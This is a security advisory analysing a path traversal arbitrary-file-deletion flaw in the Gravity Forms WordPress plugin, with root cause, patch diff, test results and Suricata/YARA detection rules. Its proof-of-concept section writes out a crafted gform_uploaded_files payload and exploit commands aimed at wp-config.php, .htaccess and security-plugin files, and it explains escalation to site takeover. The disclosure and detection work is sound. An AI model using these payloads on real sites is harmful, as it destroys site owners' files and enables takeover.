1. Overview
A path traversal vulnerability exists in the Gravity Forms WordPress plugin’s file deletion mechanism. When processing entries that contain file upload fields, the plugin converts stored file URLs to filesystem paths using a simple string replacement without validating that the resulting path remains within the uploads directory. An unauthenticated attacker can submit a form with a crafted gform_uploaded_files parameter containing directory traversal sequences (../), which are stored in the entry database. When a privileged user subsequently deletes the entry or its attached files, the traversal sequences cause the plugin to delete arbitrary files on the server. Deleting critical files such as wp-config.php results in complete site unavailability. Rocketgenius addressed this vulnerability in Gravity Forms version 2.10.1.
2. Vulnerability Type
| Field | Value |
|---|---|
| Primary CWE | CWE-22: Improper Limitation of a Pathname to a Restricted Directory (‘Path Traversal’) |
| Related CWE | CWE-73: External Control of File Name or Path |
3. Severity
CVSS 3.1 (from Patchstack / NVD)
| Field | Value |
|---|---|
| Score | 9.6 (Critical) |
| Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H |
Our Assessment (CVSS 4.0)
| Metric Group | Metric | Value |
|---|---|---|
| Base — Exploitability | Attack Vector (AV) | Network |
| Attack Complexity (AC) | Low | |
| Attack Requirements (AT) | Present | |
| Privileges Required (PR) | None | |
| User Interaction (UI) | Passive | |
| Base — Vulnerable System | Confidentiality (VC) | None |
| Integrity (VI) | High | |
| Availability (VA) | High | |
| Base — Subsequent System | Confidentiality (SC) | None |
| Integrity (SI) | Low | |
| Availability (SA) | High | |
| Threat | Exploit Maturity (E) | Proof-of-Concept |
| Field | Value |
|---|---|
| CVSS 4.0 Score | 8.5 (High) |
| CVSS 4.0 Vector | CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:H/SC:N/SI:L/SA:H/E:P |
Scoring rationale:
- AT:P (Attack Requirements Present): The target WordPress site must have a publicly accessible form with a file upload field (multi-file or single-file with dynamic population support). This is a common but not universal configuration.
- UI:P (User Interaction Passive): A privileged user must delete the poisoned entry. This can occur through routine entry management or social engineering (e.g., sending an admin a link that triggers entry deletion via CSRF in older versions).
- VI:H / VA:H: Arbitrary file deletion destroys file integrity and can render the entire site unavailable.
- SA:H (Subsequent System Availability): Deleting
wp-config.phpcauses total site failure; deleting.htaccessor plugin files degrades or disables other WordPress components and services.
4. Affected Products
Affected Versions
| Product | Versions Affected | CPE 2.3 |
|---|---|---|
| Gravity Forms (WordPress Plugin) | <= 2.10.0.1 | cpe:2.3:a:rocketgenius:gravityforms:*:*:*:*:*:wordpress:*:* |
Tested Environment (Vulnerable)
| Field | Value |
|---|---|
| Plugin | Gravity Forms |
| Version | 2.10.0 |
| Source | https://github.com/codewurker/gravityforms tag v2.10.0 |
| Git Commit | 86bf7b9ecf14fd4a826a741a1ae180040589ebed |
Tested Environment (Patched)
| Field | Value |
|---|---|
| Plugin | Gravity Forms |
| Version | 2.10.1 |
| Source | https://github.com/codewurker/gravityforms tag v2.10.1 |
| Git Commit | cf2ff65133d581cfed1c308adc1621c3af1f8422 |
5. Root Cause Analysis
5a. Detailed Description
The vulnerability resides in the interaction between how file URLs are stored during form submission and how they are converted to filesystem paths during file deletion.
URL Storage (No Path Validation)
When a Gravity Forms form with a file upload field is submitted, the hidden gform_uploaded_files POST parameter is processed by GFFormsModel::set_uploaded_files() in forms_model.php. This function accepts a JSON-encoded array of file descriptors per input field. Each descriptor may contain a url key (used for dynamically populated file URLs). The URL is sanitized only with WordPress’s esc_url_raw(), which validates URL format but does not strip path traversal sequences:
// forms_model.php — set_uploaded_files()
if ( isset( $file['url'] ) ) {
$file['url'] = esc_url_raw( $file['url'] ); // Does NOT strip ../
}
The URL is then stored in the entry by get_multifile_value() in class-gf-field-fileupload.php:
// class-gf-field-fileupload.php — get_multifile_value()
if ( isset( $file['url'] ) ) {
if ( ! is_string( $existing_file ) && GFCommon::is_valid_url( $file['url'] ) ) {
$uploaded_files[] = $file['url']; // Path traversal preserved
}
continue;
}
GFCommon::is_valid_url() performs RFC URL format validation only — a URL containing /../ is a structurally valid URL. The same issue exists in the single-file upload path in get_single_file_value():
// class-gf-field-fileupload.php — get_single_file_value()
} elseif ( ! empty( $files['existing'][0]['url'] ) ) {
if ( GFCommon::is_valid_url( $files['existing'][0]['url'] ) ) {
$value = $files['existing'][0]['url']; // Stored directly
}
}
URL-to-Path Conversion (Traversal Preserved)
When an entry is deleted, delete_physical_file() in forms_model.php converts the stored URL to a filesystem path using get_physical_file_path():
// forms_model.php — get_physical_file_path()
public static function get_physical_file_path( $url, $entry_id = null ) {
$path_info = GF_Field_FileUpload::get_file_upload_path_info( $url, $entry_id );
$file_path = str_replace(
trailingslashit( $path_info['url'] ), // https://example.com/wp-content/uploads/gravity_forms/
trailingslashit( $path_info['path'] ), // /var/www/html/wp-content/uploads/gravity_forms/
$url // https://example.com/wp-content/uploads/gravity_forms/../../../wp-config.php
);
return $file_path;
// Returns: /var/www/html/wp-content/uploads/gravity_forms/../../../wp-config.php
// OS resolves to: /var/www/html/wp-config.php
}
The str_replace() replaces the URL base with the filesystem base, but the ../../../ suffix is preserved. The operating system resolves the .. components when file_exists() and unlink() are called.
Unvalidated Deletion
delete_physical_file() then deletes the file without checking whether the resolved path is within the uploads directory:
// forms_model.php — delete_physical_file()
private static function delete_physical_file( $file_url, $entry_id ) {
$ary = explode( '|:|', $file_url );
$url = rgar( $ary, 0 );
if ( empty( $url ) ) { return; }
$file_path = self::get_physical_file_path( $url, $entry_id );
$file_path = apply_filters( 'gform_file_path_pre_delete_file', $file_path, $url );
// NO VALIDATION that $file_path is within uploads directory
if ( file_exists( $file_path ) ) {
$result = unlink( $file_path ); // ARBITRARY FILE DELETION
}
}
Attack Flow Summary:
- Attacker visits a page with a Gravity Forms form containing a file upload field (unauthenticated)
- Attacker submits the form with a crafted
gform_uploaded_filesJSON parameter:{"input_1": [{"url": "https://example.com/wp-content/uploads/gravity_forms/../../../wp-config.php", "id": "poc"}]} - The URL passes
esc_url_raw()andis_valid_url()checks and is stored in the entry - When an administrator deletes the entry (routine cleanup, bulk delete, or social engineering),
delete_physical_file()converts the URL to a path and callsunlink() - The OS resolves
../../../wp-config.phprelative to the uploads directory, deletingwp-config.php
5b. Code Flow and Call Stack
Injection path (unauthenticated form submission via AJAX):
wp_ajax_nopriv_gform_submit_form [WordPress AJAX handler]
└─> GF_Ajax_Handler::submit_form() [includes/ajax/class-gf-ajax-handler.php]
└─> GFAPI::submit_form() [includes/api.php]
└─> GFFormDisplay::process_form() [form_display.php]
└─> GFFormsModel::set_uploaded_files() [forms_model.php:8574]
│ └─> esc_url_raw( $file['url'] ) [forms_model.php:8606 — no ../ stripping]
└─> GFFormsModel::save_lead()
└─> GF_Field_FileUpload::get_value_save_entry()
└─> get_multifile_value() [class-gf-field-fileupload.php:846]
└─> is_valid_url($file['url']) [class-gf-field-fileupload.php:881 — format-only]
└─> $uploaded_files[] = $file['url'] [STORED WITH ../ INTACT]
Deletion path (authenticated admin deletes entry):
GFFormsModel::delete_lead() [forms_model.php]
└─> GFFormsModel::delete_files( $entry_id ) [forms_model.php:2312]
└─> delete_physical_file( $file_url, $entry_id ) [forms_model.php:2490]
└─> get_physical_file_path( $url ) [forms_model.php:2537]
│ └─> str_replace(url_base, path_base, $url) [../ PRESERVED]
└─> file_exists( $file_path ) [OS resolves ../]
└─> unlink( $file_path ) [ARBITRARY FILE DELETED]
5c. Fix (Patched Version — 2.10.1)
The patch adds two new methods to GFCommon in common.php and a validation check before unlink():
New function: get_absolute_path() (common.php)
Resolves . and .. path components by splitting the path on directory separators and processing each segment:
public static function get_absolute_path( $path ) {
$path = str_replace( array( '/', '\\' ), DIRECTORY_SEPARATOR, $path );
$path = str_replace( '://', '|%%protocol%%|', $path );
$parts = array_filter( explode( DIRECTORY_SEPARATOR, $path ), 'strlen' );
$absolutes = array();
foreach ( $parts as $part ) {
if ( '.' == $part ) { continue; }
if ( '..' == $part ) {
array_pop( $absolutes );
} else {
$absolutes[] = $part;
}
}
$path = implode( DIRECTORY_SEPARATOR, $absolutes );
return str_replace( '|%%protocol%%|', '://', $path );
}
New function: is_file_in_uploads() (common.php)
Checks that the canonicalized path starts with the uploads directory URL:
public static function is_file_in_uploads( $file ) {
$file_path = self::get_absolute_path( $file );
$root_url = rgar( GF_Field_FileUpload::get_file_upload_path_info( '' ), 'url' );
if ( ! str_starts_with( $file_path, $root_url ) ) {
return false;
}
return true;
}
Validation added in delete_physical_file() (forms_model.php)
if ( ! GFCommon::is_file_in_uploads( $url ) ) {
GFCommon::log_debug( __METHOD__ . sprintf( '(): Not deleting file from URL: %s', $file_path ) );
return;
}
| Vulnerable (2.10.0) | Patched (2.10.1) |
|---|---|
delete_physical_file() converts URL to path and calls unlink() with no directory validation | is_file_in_uploads() resolves ../ sequences and verifies the canonical URL starts with the uploads root before allowing deletion |
esc_url_raw() on input URL — no path component validation | Same input sanitization, but deletion is blocked at the output side |
is_valid_url() checks URL format only | No change to input validation; defense is at the deletion point |
5d. Impact
Successful exploitation allows an unauthenticated attacker to delete any file on the server that the web server process has write permission to. The most impactful target is wp-config.php, whose deletion immediately causes “Error establishing a database connection” for all visitors, effectively taking the site offline. Other high-value targets include .htaccess (disabling URL rewriting and security rules), plugin files (disabling security plugins like Wordfence), and index.php files (enabling directory listing).
Beyond denial of service, arbitrary file deletion can escalate to remote code execution. After deleting wp-config.php, an attacker who visits the site is presented with the WordPress installation wizard, which allows them to configure a new database connection. If the attacker controls a reachable MySQL server, they can complete the installation with their own credentials and gain full admin access. This effectively converts the file deletion into a complete site takeover. The attack requires no authentication for the injection phase (any form visitor can submit), though it requires a privileged user to trigger the deletion — typically through routine entry management or a crafted link.
6. Proof-of-Concept
6a. PoC Code
Download poc_cve_2026_48866.py (enterprise email verification required)
| File | Description |
|---|---|
poc_cve_2026_48866.py | Python 3 exploit — injects path traversal payload via form submission, optionally triggers deletion with admin credentials |
6b. Reproduce Instructions
Prerequisites:
- WordPress installation with Gravity Forms <= 2.10.0.1
- A form with a file upload field (field ID known) accessible to unauthenticated users
- Python 3 with
requestslibrary (pip install requests)
Phase 1 — Inject malicious entry (unauthenticated):
python3 poc_cve_2026_48866.py --target https://example.com --form-id 1 --field-id 3
This submits the form with a gform_uploaded_files parameter containing:
{"input_3": [{"url": "https://example.com/wp-content/uploads/gravity_forms/../../../wp-config.php", "id": "poc-file-1", "uploaded_filename": "legitimate.txt"}]}
The malicious URL is stored in the entry database.
Phase 2 — Trigger deletion (requires admin credentials or social engineering):
Option A — automated with admin credentials:
python3 poc_cve_2026_48866.py --target https://example.com --form-id 1 --field-id 3 \
--trigger --admin-user admin --admin-pass password
Option B — manual: Log in as admin, navigate to Forms > Entries, select the poisoned entry, and delete it. The file deletion occurs during GFFormsModel::delete_files().
Expected result: After entry deletion, the targeted file (wp-config.php by default) is removed from the server. The site returns “Error establishing a database connection” on all pages.
Additional targets:
# Delete .htaccess
python3 poc_cve_2026_48866.py -t https://example.com -f 1 -i 3 --file .htaccess --depth 3
# Delete a plugin's main file
python3 poc_cve_2026_48866.py -t https://example.com -f 1 -i 3 --file wp-content/plugins/wordfence/wordfence.php --depth 1
The --depth flag controls the number of ../ traversals (default 3: escapes gravity_forms/ -> uploads/ -> wp-content/ -> WP root).
6c. Test Results
Verified on podman-hosted WordPress 6.7 + PHP 8.2 with Gravity Forms 2.10.0.
Test 1 — canary.txt deletion:
| Step | Action | Result |
|---|---|---|
| 1 | Create entry via GFAPI with URL http://target/wp-content/uploads/gravity_forms/../../../canary.txt | Entry created, malicious URL stored in entry field |
| 2 | Verify file_exists() on traversed path | Returns true — OS resolves ../../../canary.txt to /var/www/html/canary.txt |
| 3 | Delete entry via GFAPI::delete_entry() | delete_physical_file() -> unlink() called on resolved path |
| 4 | Check canary.txt | DELETED — file_exists() returns false |
Test 2 — wp-config.php deletion (full impact):
| Step | Action | Result |
|---|---|---|
| 1 | Create entry with URL targeting ../../../wp-config.php | Entry created |
| 2 | Delete entry | unlink() deletes /var/www/html/wp-config.php |
| 3 | Access site homepage via HTTP | HTTP 302 -> /wp-admin/setup-config.php — WordPress installer shown |
| 4 | Site functionality | Complete site failure — all pages redirect to installer |
6d. Patched System Verification
Verified on same environment with Gravity Forms 2.10.1.
On Gravity Forms 2.10.1, the same injection succeeds (the malicious URL is still stored in the entry). However, when the entry is deleted, the new is_file_in_uploads() check detects the path traversal:
| Step | Action | Result |
|---|---|---|
| 1 | Create entry with same path traversal URL | Entry created (identical to vulnerable test) |
| 2 | Delete entry | is_file_in_uploads() resolves ../ -> canonical path outside uploads root -> returns false |
| 3 | Check canary.txt | STILL EXISTS — unlink() was never called |
| 4 | Check wp-config.php | STILL EXISTS — site operates normally |
The fix works as designed:
get_absolute_path()resolveshttp://target/wp-content/uploads/gravity_forms/../../../canary.txt->http://target/canary.txtstr_starts_with()compares againsthttp://target/wp-content/uploads/gravity_forms/— mismatchis_file_in_uploads()returnsfalsedelete_physical_file()returns without callingunlink()
7. Detection
Note: The detection rules below are provided as a starting point. Validate and tune them in your own environment before deploying to production.
7a. Network-Based Detection
The attack payload is embedded in the gform_uploaded_files POST parameter sent during form submission. The distinctive characteristic is the presence of path traversal sequences (../ or ..%2F) within a JSON value in the POST body, combined with a Gravity Forms form submission action (gform_submit_form or is_submit_).
Legitimate gform_uploaded_files values contain only clean filenames and temp identifiers (e.g., {"input_1": [{"uploaded_filename": "photo.jpg", "temp_filename": "abc123_input_1_xyz.jpg"}]}). The presence of ../ or URL-encoded equivalents within this parameter is never legitimate.
Suricata Rules
alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"CVE-2026-48866 Gravity Forms Path Traversal in gform_uploaded_files"; \
flow:established,to_server; \
http.method; content:"POST"; \
http.request_body; content:"gform_uploaded_files"; \
content:"../"; distance:0; \
reference:cve,2026-48866; \
classtype:web-application-attack; \
sid:2026048866; rev:1;)
alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"CVE-2026-48866 Gravity Forms Path Traversal (URL-encoded)"; \
flow:established,to_server; \
http.method; content:"POST"; \
http.request_body; content:"gform_uploaded_files"; \
content:"%2e%2e"; nocase; distance:0; \
reference:cve,2026-48866; \
classtype:web-application-attack; \
sid:2026048867; rev:1;)
alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"CVE-2026-48866 Gravity Forms Malicious URL in Upload Parameter"; \
flow:established,to_server; \
http.method; content:"POST"; \
http.request_body; content:"gform_uploaded_files"; \
content:"|22|url|22|"; distance:0; \
content:".."; distance:0; within:200; \
reference:cve,2026-48866; \
classtype:web-application-attack; \
sid:2026048868; rev:1;)
7b. Host-Based Detection (YARA)
rule CVE_2026_48866_Exploit_Payload {
meta:
description = "Detects CVE-2026-48866 Gravity Forms path traversal payload in HTTP POST data or logs"
cve = "CVE-2026-48866"
component = "Gravity Forms"
severity = "critical"
type = "exploit_detection"
strings:
$gform_param = "gform_uploaded_files" ascii wide
$traversal1 = "../" ascii wide
$traversal2 = "..\\" ascii wide
$traversal3 = "%2e%2e%2f" ascii wide nocase
$traversal4 = "..%2f" ascii wide nocase
$url_key = "\"url\"" ascii wide
condition:
$gform_param and $url_key and any of ($traversal*)
}
rule CVE_2026_48866_Vulnerable_Plugin {
meta:
description = "Detects vulnerable Gravity Forms versions (<= 2.10.0.1) — forms_model.php lacks is_file_in_uploads check"
cve = "CVE-2026-48866"
component = "Gravity Forms"
severity = "high"
type = "vulnerability"
strings:
$plugin_id = "gravityforms" ascii
$vuln_func = "delete_physical_file" ascii
$fix_func = "is_file_in_uploads" ascii
condition:
$plugin_id and $vuln_func and not $fix_func
}
rule CVE_2026_48866_Patched_Plugin {
meta:
description = "Detects patched Gravity Forms (>= 2.10.1) with is_file_in_uploads validation"
cve = "CVE-2026-48866"
component = "Gravity Forms"
severity = "informational"
type = "patch_verification"
strings:
$plugin_id = "gravityforms" ascii
$fix_func = "is_file_in_uploads" ascii
$fix_helper = "get_absolute_path" ascii
condition:
$plugin_id and $fix_func and $fix_helper
}
Usage:
yara -r CVE_2026_48866.yar /var/www/html/wp-content/plugins/gravityforms/
| Rule | Match Means |
|---|---|
CVE_2026_48866_Exploit_Payload | HTTP log or POST body contains path traversal in gform_uploaded_files parameter |
CVE_2026_48866_Vulnerable_Plugin | Gravity Forms installation lacks the is_file_in_uploads() fix |
CVE_2026_48866_Patched_Plugin | Gravity Forms installation has both is_file_in_uploads() and get_absolute_path() |
8. References
| Source | URL |
|---|---|
| NVD | https://nvd.nist.gov/vuln/detail/CVE-2026-48866 |
| Patchstack Advisory | https://patchstack.com/database/wordpress/plugin/gravityforms/vulnerability/wordpress-gravity-forms-plugin-2-10-0-1-arbitrary-file-deletion-vulnerability |
| MITRE CVE | https://www.cve.org/CVERecord?id=CVE-2026-48866 |
| Gravity Forms Changelog | https://docs.gravityforms.com/gravityforms-change-log/ |
| Source Code (Mirror) | https://github.com/codewurker/gravityforms |
| Vulnerable Version (v2.10.0) | https://github.com/codewurker/gravityforms/releases/tag/v2.10.0 |
| Patched Version (v2.10.1) | https://github.com/codewurker/gravityforms/releases/tag/v2.10.1 |